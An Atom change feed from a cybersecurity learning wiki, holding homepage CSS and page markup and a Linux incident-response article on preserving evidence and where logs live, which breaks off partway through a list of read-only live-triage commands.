body.page-Main_Page .wc-card-link { margin-top: auto; padding-top: 8px; font-size: 12px; font-weight: bold; }&lt;br /&gt;
body.page-Main_Page .wc-feature { display: grid; grid-template-columns: 1fr 1fr; gap: 28px; align-items: center; margin: 32px 0; padding: 28px 0; border-top: 1px solid var(--wc-line); border-bottom: 1px solid var(--wc-line); }&lt;br /&gt;
body.page-Main_Page .wc-feature h2 { font-size: 24px; margin-bottom: 12px; }&lt;br /&gt;
body.page-Main_Page .wc-feature p:not(.wc-eyebrow) { font-size: 13px; color: var(--wc-muted); }&lt;br /&gt;
body.page-Main_Page .wc-feature a,&lt;br /&gt;
body.page-Main_Page .wc-contribute a { font-size: 12px; font-weight: bold; }&lt;br /&gt;
body.page-Main_Page .wc-terminal { min-width: 0; background: #142335; color: #e4eef7; border-radius: 8px; overflow: hidden; }&lt;br /&gt;
body.page-Main_Page .wc-terminal-label { padding: 10px 18px; color: #b2c1cf; border-bottom: 1px solid #ffffff26; font-size: 10px; }&lt;br /&gt;
body.page-Main_Page .wc-terminal pre { background: transparent; color: inherit; border: 0; padding: 20px 18px; margin: 0; font: 11px/2 monospace; overflow-x: auto; }&lt;br /&gt;
body.page-Main_Page .wc-contribute h2 { font-size: 21px; margin-bottom: 10px; }&lt;br /&gt;
body.page-Main_Page .wc-contribute p { color: var(--wc-muted); font-size: 13px; }&lt;br /&gt;
html.skin-theme-clientpref-night body.page-Main_Page .wc-home { --wc-blue: #91b5ff; --wc-green: #8ed29d; --wc-tint: #20324d; --wc-green-tint: #203b2a; }&lt;br /&gt;
@media (prefers-color-scheme: dark) {&lt;br /&gt;
  html.skin-theme-clientpref-os body.page-Main_Page .wc-home { --wc-blue: #91b5ff; --wc-green: #8ed29d; --wc-tint: #20324d; --wc-green-tint: #203b2a; }&lt;br /&gt;
}&lt;br /&gt;
@media (min-width: 1500px) { body.page-Main_Page .wc-grid { grid-template-columns: repeat(4, minmax(0, 1fr)); } }&lt;br /&gt;
@media (max-width: 700px) {&lt;br /&gt;
  body.page-Main_Page .wc-hero { padding: 28px 22px 0; }&lt;br /&gt;
  body.page-Main_Page .wc-hero h1 { font-size: 34px; }&lt;br /&gt;
  body.page-Main_Page .wc-feature { grid-template-columns: 1fr; gap: 18px; }&lt;br /&gt;
  body.page-Main_Page .wc-values { gap: 12px; font-size: 10px; }&lt;br /&gt;
  body.page-Main_Page .wc-card { padding: 21px; }&lt;br /&gt;
}&lt;br /&gt;
@media (max-width: 480px) { body.page-Main_Page .wc-grid { grid-template-columns: 1fr; } }&lt;br /&gt;
@media (prefers-reduced-motion: reduce) { body.page-Main_Page .wc-card { transition: none; } }&lt;br /&gt;
&lt;br /&gt;
/* END WikiCyber homepage v1 */&lt;/div&gt;</summary>
		<author><name>AdminUser</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=MediaWiki:Common.css&amp;diff=277</id>
		<title>MediaWiki:Common.css</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=MediaWiki:Common.css&amp;diff=277"/>
		<updated>2026-10-15T22:05:20Z</updated>

		<summary type="html">&lt;p&gt;AdminUser: Restore homepage rollout backup&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>AdminUser</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Main_Page&amp;diff=276</id>
		<title>Main Page</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Main_Page&amp;diff=276"/>
		<updated>2026-10-15T22:05:19Z</updated>

		<summary type="html">&lt;p&gt;AdminUser: Restore homepage rollout backup&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;strong&amp;gt;MediaWiki has been installed.&amp;lt;/strong&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Consult the [https://www.mediawiki.org/wiki/Special:MyLanguage/Help:Contents User&#039;s Guide] for information on using the wiki software.&lt;br /&gt;
&lt;br /&gt;
== Getting started ==&lt;br /&gt;
* [https://www.mediawiki.org/wiki/Special:MyLanguage/Manual:Configuration_settings Configuration settings list]&lt;br /&gt;
* [https://www.mediawiki.org/wiki/Special:MyLanguage/Manual:FAQ MediaWiki FAQ]&lt;br /&gt;
* [https://lists.wikimedia.org/postorius/lists/mediawiki-announce.lists.wikimedia.org/ MediaWiki release mailing list]&lt;br /&gt;
* [https://www.mediawiki.org/wiki/Special:MyLanguage/Localisation#Translation_resources Localise MediaWiki for your language]&lt;br /&gt;
* [https://www.mediawiki.org/wiki/Special:MyLanguage/Manual:Combating_spam Learn how to combat spam on your wiki]&lt;/div&gt;</summary>
		<author><name>AdminUser</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Main_Page&amp;diff=275</id>
		<title>Main Page</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Main_Page&amp;diff=275"/>
		<updated>2026-10-15T22:05:18Z</updated>

		<summary type="html">&lt;p&gt;AdminUser: Roll out redesigned WikiCyber homepage&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-home&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-hero&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;h1&amp;gt;Understand systems.&amp;lt;br /&amp;gt;&amp;lt;span&amp;gt;Build your defenses.&amp;lt;/span&amp;gt;&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;p class=&amp;quot;wc-intro&amp;quot;&amp;gt;A clear, practical reference for learning cybersecurity. Explore operating systems, secure networks, and the evidence that tells their stories.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-actions&amp;quot;&amp;gt;[[#wc-topics|&amp;lt;span class=&amp;quot;wc-primary&amp;quot;&amp;gt;Explore the knowledge base →&amp;lt;/span&amp;gt;]] [[Special:AllPages|Browse articles ↗]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-values&amp;quot;&amp;gt;&amp;lt;span&amp;gt;✓ Open knowledge&amp;lt;/span&amp;gt;&amp;lt;span&amp;gt;✓ Practical guidance&amp;lt;/span&amp;gt;&amp;lt;span&amp;gt;✓ Community contributions&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-topics&amp;quot; id=&amp;quot;wc-topics&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;p class=&amp;quot;wc-eyebrow&amp;quot;&amp;gt;FIND YOUR STARTING POINT&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;h2&amp;gt;Explore by topic&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-grid&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-card&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;wc-icon wc-blue&amp;quot; aria-hidden=&amp;quot;true&amp;quot;&amp;gt;⊞&amp;lt;/span&amp;gt;&amp;lt;h3&amp;gt;[[:Category:Windows|Windows]]&amp;lt;/h3&amp;gt;&amp;lt;p&amp;gt;Accounts, policies, PowerShell, and the foundations of a secure Windows system.&amp;lt;/p&amp;gt;&amp;lt;div class=&amp;quot;wc-card-link&amp;quot;&amp;gt;[[:Category:Windows|Explore Windows →]]&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-card&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;wc-icon wc-green&amp;quot; aria-hidden=&amp;quot;true&amp;quot;&amp;gt;&amp;amp;gt;_&amp;lt;/span&amp;gt;&amp;lt;h3&amp;gt;[[:Category:Linux|Linux]]&amp;lt;/h3&amp;gt;&amp;lt;p&amp;gt;Understand permissions, audit services, and get comfortable at the command line.&amp;lt;/p&amp;gt;&amp;lt;div class=&amp;quot;wc-card-link&amp;quot;&amp;gt;[[:Category:Linux|Explore Linux →]]&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-card&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;wc-icon wc-blue&amp;quot; aria-hidden=&amp;quot;true&amp;quot;&amp;gt;⌘&amp;lt;/span&amp;gt;&amp;lt;h3&amp;gt;[[:Category:Cisco|Cisco &amp;amp;amp; networking]]&amp;lt;/h3&amp;gt;&amp;lt;p&amp;gt;Connect the concepts behind networks, from the OSI model to device security.&amp;lt;/p&amp;gt;&amp;lt;div class=&amp;quot;wc-card-link&amp;quot;&amp;gt;[[:Category:Cisco|Explore networking →]]&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-card&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;wc-icon wc-green&amp;quot; aria-hidden=&amp;quot;true&amp;quot;&amp;gt;◎&amp;lt;/span&amp;gt;&amp;lt;h3&amp;gt;[[:Category:Windows Forensics|Digital forensics]]&amp;lt;/h3&amp;gt;&amp;lt;p&amp;gt;Follow the evidence through event logs, system artifacts, and careful analysis.&amp;lt;/p&amp;gt;&amp;lt;div class=&amp;quot;wc-card-link&amp;quot;&amp;gt;[[:Category:Windows Forensics|Explore forensics →]]&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-feature&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;p class=&amp;quot;wc-eyebrow&amp;quot;&amp;gt;A CLOSER LOOK&amp;lt;/p&amp;gt;&amp;lt;h2&amp;gt;Start with the evidence.&amp;lt;/h2&amp;gt;&amp;lt;p&amp;gt;Explore forensic concepts and learn how system artifacts can help explain what happened.&amp;lt;/p&amp;gt;[[:Category:Windows Forensics|Explore the forensics collection →]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-terminal&amp;quot;&amp;gt;&amp;lt;div class=&amp;quot;wc-terminal-label&amp;quot;&amp;gt;linux · investigation&amp;lt;/div&amp;gt;&amp;lt;pre&amp;gt;# Establish a starting point&lt;br /&gt;
$ journalctl --since today&lt;br /&gt;
$ last -a&lt;br /&gt;
$ ss -tulpn&amp;lt;/pre&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-contribute&amp;quot;&amp;gt;&amp;lt;h2&amp;gt;Good knowledge grows together.&amp;lt;/h2&amp;gt;&amp;lt;p&amp;gt;WikiCyber articles are written by invited contributors and published through a review workflow.&amp;lt;/p&amp;gt;[[Help:Your first article|Writing your first article →]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;/div&gt;</summary>
		<author><name>AdminUser</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=MediaWiki:Common.css&amp;diff=274</id>
		<title>MediaWiki:Common.css</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=MediaWiki:Common.css&amp;diff=274"/>
		<updated>2026-10-15T22:05:17Z</updated>

		<summary type="html">&lt;p&gt;AdminUser: Add styling scoped to Main Page only&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
&lt;br /&gt;
/* BEGIN WikiCyber homepage v1 */&lt;br /&gt;
/* WikiCyber homepage v1. All rules are scoped to Main Page; no global theme changes. */&lt;br /&gt;
body.page-Main_Page .wc-home {&lt;br /&gt;
  --wc-surface: var(--background-color-base, #fff);&lt;br /&gt;
  --wc-text: var(--color-base, #202c3b);&lt;br /&gt;
  --wc-muted: var(--color-subtle, #647184);&lt;br /&gt;
  --wc-line: var(--border-color-subtle, #dfe5ed);&lt;br /&gt;
  --wc-blue: #2855b2;&lt;br /&gt;
  --wc-green: #24783a;&lt;br /&gt;
  --wc-tint: #eef3fc;&lt;br /&gt;
  --wc-green-tint: #edf7ef;&lt;br /&gt;
  color: var(--wc-text);&lt;br /&gt;
  font-family: Arial, Helvetica, sans-serif;&lt;br /&gt;
  line-height: 1.8;&lt;br /&gt;
}&lt;br /&gt;
body.page-Main_Page .wc-home h1,&lt;br /&gt;
body.page-Main_Page .wc-home h2,&lt;br /&gt;
body.page-Main_Page .wc-home h3 { font-family: inherit; color: var(--wc-text); border: 0; padding: 0; line-height: 1.25; letter-spacing: -.025em; overflow: visible; }&lt;br /&gt;
body.page-Main_Page .wc-home .mw-heading { border: 0; margin: 0; }&lt;br /&gt;
body.page-Main_Page .wc-home .mw-editsection { display: none; }&lt;br /&gt;
body.page-Main_Page .wc-home a { color: var(--wc-blue); }&lt;br /&gt;
body.page-Main_Page .wc-home a:focus-visible { outline: 3px solid var(--wc-blue); outline-offset: 4px; }&lt;br /&gt;
body.page-Main_Page .wc-hero { border: 1px solid var(--wc-line); border-radius: 10px; padding: 40px 36px 0; background: radial-gradient(ellipse at 100% 0%, var(--wc-green-tint), transparent 65%), var(--wc-surface); }&lt;br /&gt;
body.page-Main_Page .wc-hero h1 { font-size: clamp(32px, 4vw, 49px); margin: 0 0 22px; font-weight: 750; letter-spacing: -1.5px; }&lt;br /&gt;
body.page-Main_Page .wc-hero h1 span { color: var(--wc-blue); }&lt;br /&gt;
body.page-Main_Page .wc-intro { max-width: 570px; color: var(--wc-muted); font-size: 15px; }&lt;br /&gt;
body.page-Main_Page .wc-actions { display: flex; align-items: center; gap: 22px; flex-wrap: wrap; margin: 26px 0 32px; font-size: 12px; font-weight: bold; }&lt;br /&gt;
body.page-Main_Page .wc-actions p { display: contents; }&lt;br /&gt;
body.page-Main_Page .wc-primary { display: inline-block; background: #2855b2; color: #fff; padding: 11px 17px; border-radius: 5px; }&lt;br /&gt;
body.page-Main_Page .wc-actions a:hover .wc-primary { background: #214a9d; }&lt;br /&gt;
body.page-Main_Page .wc-values { border-top: 1px solid var(--wc-line); padding: 15px 0; display: flex; gap: 24px; flex-wrap: wrap; font-size: 11px; color: var(--wc-muted); }&lt;br /&gt;
body.page-Main_Page .wc-values p { display: contents; }&lt;br /&gt;
body.page-Main_Page .wc-topics { padding-top: 32px; scroll-margin-top: 25px; }&lt;br /&gt;
body.page-Main_Page .wc-home .wc-eyebrow { color: var(--wc-muted); font-size: 10px; font-weight: bold; letter-spacing: 1.7px; margin: 0 0 9px; }&lt;br /&gt;
body.page-Main_Page .wc-home h2 { margin: 0 0 20px; font-size: 26px; }&lt;br /&gt;
body.page-Main_Page .wc-grid { display: grid; grid-template-columns: repeat(2, minmax(0, 1fr)); gap: 15px; }&lt;br /&gt;
body.page-Main_Page .wc-card { display: flex; flex-direction: column; padding: 24px; border: 1px solid var(--wc-line); border-radius: 8px; background: var(--wc-surface); transition: border-color .15s; }&lt;br /&gt;
body.page-Main_Page .wc-card:hover { border-color: var(--wc-blue); }&lt;br /&gt;
body.page-Main_Page .wc-card h3 { margin: 17px 0 10px; font-size: 20px; }&lt;br /&gt;
body.page-Main_Page .wc-card h3 a { color: var(--wc-text); }&lt;br /&gt;
body.page-Main_Page .wc-card p { color: var(--wc-muted); font-size: 13px; margin: 0 0 15px; }&lt;br /&gt;
body.page-Main_Page .wc-icon { display: inline-grid; place-items: center; width: 37px; height: 37px; border-radius: 8px; font: bold 22px monospace; }&lt;br /&gt;
body.page-Main_Page .wc-blue { color: var(--wc-blue); background: var(--wc-tint); }&lt;br /&gt;
body.page-Main_Page .wc-green { color: var(--wc-green); background: var(--wc-green-tint); }&lt;br /&gt;
body.page-Main_Page .wc-card-link { margin-top: auto; padding-top: 8px; font-size: 12px; font-weight: bold; }&lt;br /&gt;
body.page-Main_Page .wc-feature { display: grid; grid-template-columns: 1fr 1fr; gap: 28px; align-items: center; margin: 32px 0; padding: 28px 0; border-top: 1px solid var(--wc-line); border-bottom: 1px solid var(--wc-line); }&lt;br /&gt;
body.page-Main_Page .wc-feature h2 { font-size: 24px; margin-bottom: 12px; }&lt;br /&gt;
body.page-Main_Page .wc-feature p:not(.wc-eyebrow) { font-size: 13px; color: var(--wc-muted); }&lt;br /&gt;
body.page-Main_Page .wc-feature a,&lt;br /&gt;
body.page-Main_Page .wc-contribute a { font-size: 12px; font-weight: bold; }&lt;br /&gt;
body.page-Main_Page .wc-terminal { min-width: 0; background: #142335; color: #e4eef7; border-radius: 8px; overflow: hidden; }&lt;br /&gt;
body.page-Main_Page .wc-terminal-label { padding: 10px 18px; color: #b2c1cf; border-bottom: 1px solid #ffffff26; font-size: 10px; }&lt;br /&gt;
body.page-Main_Page .wc-terminal pre { background: transparent; color: inherit; border: 0; padding: 20px 18px; margin: 0; font: 11px/2 monospace; overflow-x: auto; }&lt;br /&gt;
body.page-Main_Page .wc-contribute h2 { font-size: 21px; margin-bottom: 10px; }&lt;br /&gt;
body.page-Main_Page .wc-contribute p { color: var(--wc-muted); font-size: 13px; }&lt;br /&gt;
html.skin-theme-clientpref-night body.page-Main_Page .wc-home { --wc-blue: #91b5ff; --wc-green: #8ed29d; --wc-tint: #20324d; --wc-green-tint: #203b2a; }&lt;br /&gt;
@media (prefers-color-scheme: dark) {&lt;br /&gt;
  html.skin-theme-clientpref-os body.page-Main_Page .wc-home { --wc-blue: #91b5ff; --wc-green: #8ed29d; --wc-tint: #20324d; --wc-green-tint: #203b2a; }&lt;br /&gt;
}&lt;br /&gt;
@media (min-width: 1500px) { body.page-Main_Page .wc-grid { grid-template-columns: repeat(4, minmax(0, 1fr)); } }&lt;br /&gt;
@media (max-width: 700px) {&lt;br /&gt;
  body.page-Main_Page .wc-hero { padding: 28px 22px 0; }&lt;br /&gt;
  body.page-Main_Page .wc-hero h1 { font-size: 34px; }&lt;br /&gt;
  body.page-Main_Page .wc-feature { grid-template-columns: 1fr; gap: 18px; }&lt;br /&gt;
  body.page-Main_Page .wc-values { gap: 12px; font-size: 10px; }&lt;br /&gt;
  body.page-Main_Page .wc-card { padding: 21px; }&lt;br /&gt;
}&lt;br /&gt;
@media (max-width: 480px) { body.page-Main_Page .wc-grid { grid-template-columns: 1fr; } }&lt;br /&gt;
@media (prefers-reduced-motion: reduce) { body.page-Main_Page .wc-card { transition: none; } }&lt;br /&gt;
&lt;br /&gt;
/* END WikiCyber homepage v1 */&lt;/div&gt;</summary>
		<author><name>AdminUser</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=File:FQPractice.evtx&amp;diff=271</id>
		<title>File:FQPractice.evtx</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=File:FQPractice.evtx&amp;diff=271"/>
		<updated>2026-10-08T17:40:13Z</updated>

		<summary type="html">&lt;p&gt;AdminUser: == Summary ==
FQPractice.evtx sample log for Introduction to Forensics (moved from cypat.guide)
&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary ==&lt;br /&gt;
FQPractice.evtx sample log for Introduction to Forensics (moved from cypat.guide)&lt;/div&gt;</summary>
		<author><name>AdminUser</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Attack_Analysis&amp;diff=270</id>
		<title>Attack Analysis</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Attack_Analysis&amp;diff=270"/>
		<updated>2026-10-02T23:38:22Z</updated>

		<summary type="html">&lt;p&gt;AdminUser: AdminUser moved page Draft:Attack Analysis to Attack Analysis without leaving a redirect: Approved by AdminUser&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
[[Intro to Bash]], [[Grep and Loops]], [[Introduction to Service Auditing]], [[User Auditing - Beginner]]&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Attack analysis&#039;&#039;&#039; is the work you do &#039;&#039;after&#039;&#039; something has gone wrong, or when you suspect it has: for example working out how an attacker got in, what they did, whether they are still there, and what you can prove. This page will walk you through that process on a Linux system, and will use tools that ship with a typical distribution, as well as a few free forensic tools for memory and disk images.&lt;br /&gt;
&lt;br /&gt;
== Ground rules ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Only analyze systems you own or are explicitly authorized to examine.&#039;&#039;&#039; This one is pretty self-explanatory.&lt;br /&gt;
* &#039;&#039;&#039;Write down what you do.&#039;&#039;&#039; Keep track of all the commands you run and the time you ran them (in UTC). Your notes are how you (or someone else, like your colleague) can later tell your activity apart from the attacker&#039;s.&lt;br /&gt;
* &#039;&#039;&#039;Any indicator is a lead, but not proof.&#039;&#039;&#039; A failed-login flood, an odd file in &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt; or a scanner warning each has innocent explanations. Look for several independent signs that tell the same story.&lt;br /&gt;
* &#039;&#039;&#039;Do not trust a compromised machine to tell the truth.&#039;&#039;&#039; If an attacker had administrator (root) access, they may have replaced the very commands you use to investigate. See [[#Step 5: Rootkits and tampering|Step 5]].&lt;br /&gt;
* &#039;&#039;&#039;Understand before you delete.&#039;&#039;&#039; Removing a malicious file or killing a process is tempting, but it also destroys evidence and can leave the backdoor/persistence (a cron job, an SSH key) untouched.&lt;br /&gt;
* &#039;&#039;&#039;Work on copies, read-only.&#039;&#039;&#039; Whenever you can, examine an image of the disk or memory rather than the original, mount images read-only, and record a hash (for example with &amp;lt;code&amp;gt;sha256sum&amp;lt;/code&amp;gt;) of each image when you make it so you can show later that it did not change.&lt;br /&gt;
&lt;br /&gt;
== The analysis loop ==&lt;br /&gt;
&lt;br /&gt;
Most investigations follow the same rough loop. You will often go around it more than once as new findings raise new questions.&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;Preserve&#039;&#039;&#039; evidence: memory, running state and disks, before they change or disappear.&lt;br /&gt;
# &#039;&#039;&#039;Find the way in&#039;&#039;&#039;: the initial access (a guessed password, a vulnerable web application, a stolen key).&lt;br /&gt;
# &#039;&#039;&#039;Find what they did&#039;&#039;&#039;: commands run, files touched, accounts created, data reached, etc.&lt;br /&gt;
# &#039;&#039;&#039;Find what they left behind&#039;&#039;&#039;: persistence/backdoors so they can come back.&lt;br /&gt;
# &#039;&#039;&#039;Look for hiding&#039;&#039;&#039;: rootkits and log tampering.&lt;br /&gt;
# &#039;&#039;&#039;Build a timeline&#039;&#039;&#039; that ties the above together, and check it for gaps.&lt;br /&gt;
# &#039;&#039;&#039;Contain, clean up and harden&#039;&#039;&#039;: only once you understand the scope.&lt;br /&gt;
&lt;br /&gt;
== Three ways to examine a system ==&lt;br /&gt;
&lt;br /&gt;
The same questions can be asked of a running machine, a copy of the memory of the machine, or a copy of the machines disk. Each has strengths and blind spots, and a thorough investigation will always use more than one of the following approaches.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Approach !! What you get !! Watch out for&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Live system&#039;&#039;&#039; (typed commands, or a collection tool such as UAC) || Fast. Running processes, network connections, logged-in users, files and logs, in minutes. It is often the only practical option you have when disks are huge, or the network is slow, or there are many machines. || Every command you run changes the system, and you are relying on tools the attacker may have tampered with (for example, replacing /bin/cat with a malicous script).&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Memory image&#039;&#039;&#039; || Processes (including ones hidden from normal tools), network connections, loaded kernel modules, shell command history with timestamps, and data that never reaches disk. || Only exists while the machine is on. Linux analysis needs a description (&amp;quot;symbols&amp;quot;) of the exact kernel that was running, which can be hard to obtain (see [[#Going deeper: memory analysis with Volatility 3|below]]).&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Disk image&#039;&#039;&#039; || Everything is stored on the disk: logs, configuration, user files, timestamps. It can only be examined read-only, so it is the safest to work with, and can be examined again and again. || There is no running state. It is also a large file. Linux disks have extra layers (LVM, RAID, encryption) to get through, and deleted files are often extremely hard to recover.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Where Linux keeps evidence ==&lt;br /&gt;
&lt;br /&gt;
Paths differ slightly between distributions. The main split is Debian/Ubuntu versus Red Hat family (RHEL, Fedora, Rocky, Alma).&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! What !! Where (Debian/Ubuntu) !! Where (RHEL family) !! What it tells you&lt;br /&gt;
|-&lt;br /&gt;
| Authentication and sudo || &amp;lt;code&amp;gt;/var/log/auth.log&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/secure&amp;lt;/code&amp;gt; || SSH logins (successful and failed), &amp;lt;code&amp;gt;sudo&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;su&amp;lt;/code&amp;gt; use, new accounts&lt;br /&gt;
|-&lt;br /&gt;
| General system log || &amp;lt;code&amp;gt;/var/log/syslog&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/messages&amp;lt;/code&amp;gt; || Service starts and crashes, kernel messages, cron runs&lt;br /&gt;
|-&lt;br /&gt;
| systemd journal || &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt; || The same events, indexed; the only source on systems without a syslog daemon&lt;br /&gt;
|-&lt;br /&gt;
| Login records || &amp;lt;code&amp;gt;last&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;lastb&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;lastlog&amp;lt;/code&amp;gt; (read &amp;lt;code&amp;gt;/var/log/wtmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;btmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;lastlog&amp;lt;/code&amp;gt;) || same || Who logged in, from where, and when; failed logins&lt;br /&gt;
|-&lt;br /&gt;
| Web server logs || &amp;lt;code&amp;gt;/var/log/apache2/&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/var/log/nginx/&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/httpd/&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/var/log/nginx/&amp;lt;/code&amp;gt; || Every request the web server handled (see below)&lt;br /&gt;
|-&lt;br /&gt;
| Audit framework (if installed) || &amp;lt;code&amp;gt;/var/log/audit/audit.log&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/audit/audit.log&amp;lt;/code&amp;gt; || File access, command execution and account changes, according to the rules configured&lt;br /&gt;
|-&lt;br /&gt;
| Package history || &amp;lt;code&amp;gt;/var/log/dpkg.log&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/log/apt/history.log&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;dnf history&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/log/dnf.log&amp;lt;/code&amp;gt; || Software installed or removed, and when&lt;br /&gt;
|-&lt;br /&gt;
| Shell history || &amp;lt;code&amp;gt;~/.bash_history&amp;lt;/code&amp;gt; (for each user) || same || Commands a user typed (can be disabled or erased, so no command history does no necessarily mean something has gone wrong)&lt;br /&gt;
|-&lt;br /&gt;
| Scheduled tasks || &amp;lt;code&amp;gt;/etc/crontab&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/etc/cron.*&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/spool/cron/crontabs/&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/etc/crontab&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/etc/cron.*&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/spool/cron/&amp;lt;/code&amp;gt; || Commands that run automatically&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
If &amp;lt;code&amp;gt;/var/log/auth.log&amp;lt;/code&amp;gt; does not exist on a newer install, the system is logging to the journal only; use &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt; instead.&lt;br /&gt;
&lt;br /&gt;
When you examine a &#039;&#039;&#039;mounted disk image&#039;&#039;&#039; (see [[#Working from a disk image|below]]), put the mount point in front of every one of these paths, for example &amp;lt;code&amp;gt;/mnt/data/var/log/auth.log&amp;lt;/code&amp;gt;. It is easy to read your own workstation&#039;s &amp;lt;code&amp;gt;/var/log&amp;lt;/code&amp;gt; by accident.&lt;br /&gt;
&lt;br /&gt;
== Step 1: Preserve evidence ==&lt;br /&gt;
&lt;br /&gt;
Evidence disappears in a predictable order: memory and running processes first, then temporary files, then things on disk, and finally whatever is stored somewhere the attacker cannot reach (i.e., a remote log server). Capture the most fragile evidence first, and &#039;&#039;&#039;do not reboot&#039;&#039;&#039; the machine until you have it. Where possible, write what you collect to external storage, not the compromised disk, so you do not overwrite deleted files that might matter.&lt;br /&gt;
&lt;br /&gt;
=== Live triage and volatile state ===&lt;br /&gt;
&lt;br /&gt;
If you have a way to capture memory (see the [[#Capturing memory|next section]]), do that first, as every command you type also changes what is in memory. If you do not, start with these:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
date -u; uptime                     # record the time and how long it has been up&lt;br /&gt;
who -a; w                           # who is logged in right now, and doing what&lt;br /&gt;
ps -eo pid,ppid,user,lstart,cmd --forest   # process tree with start times&lt;br /&gt;
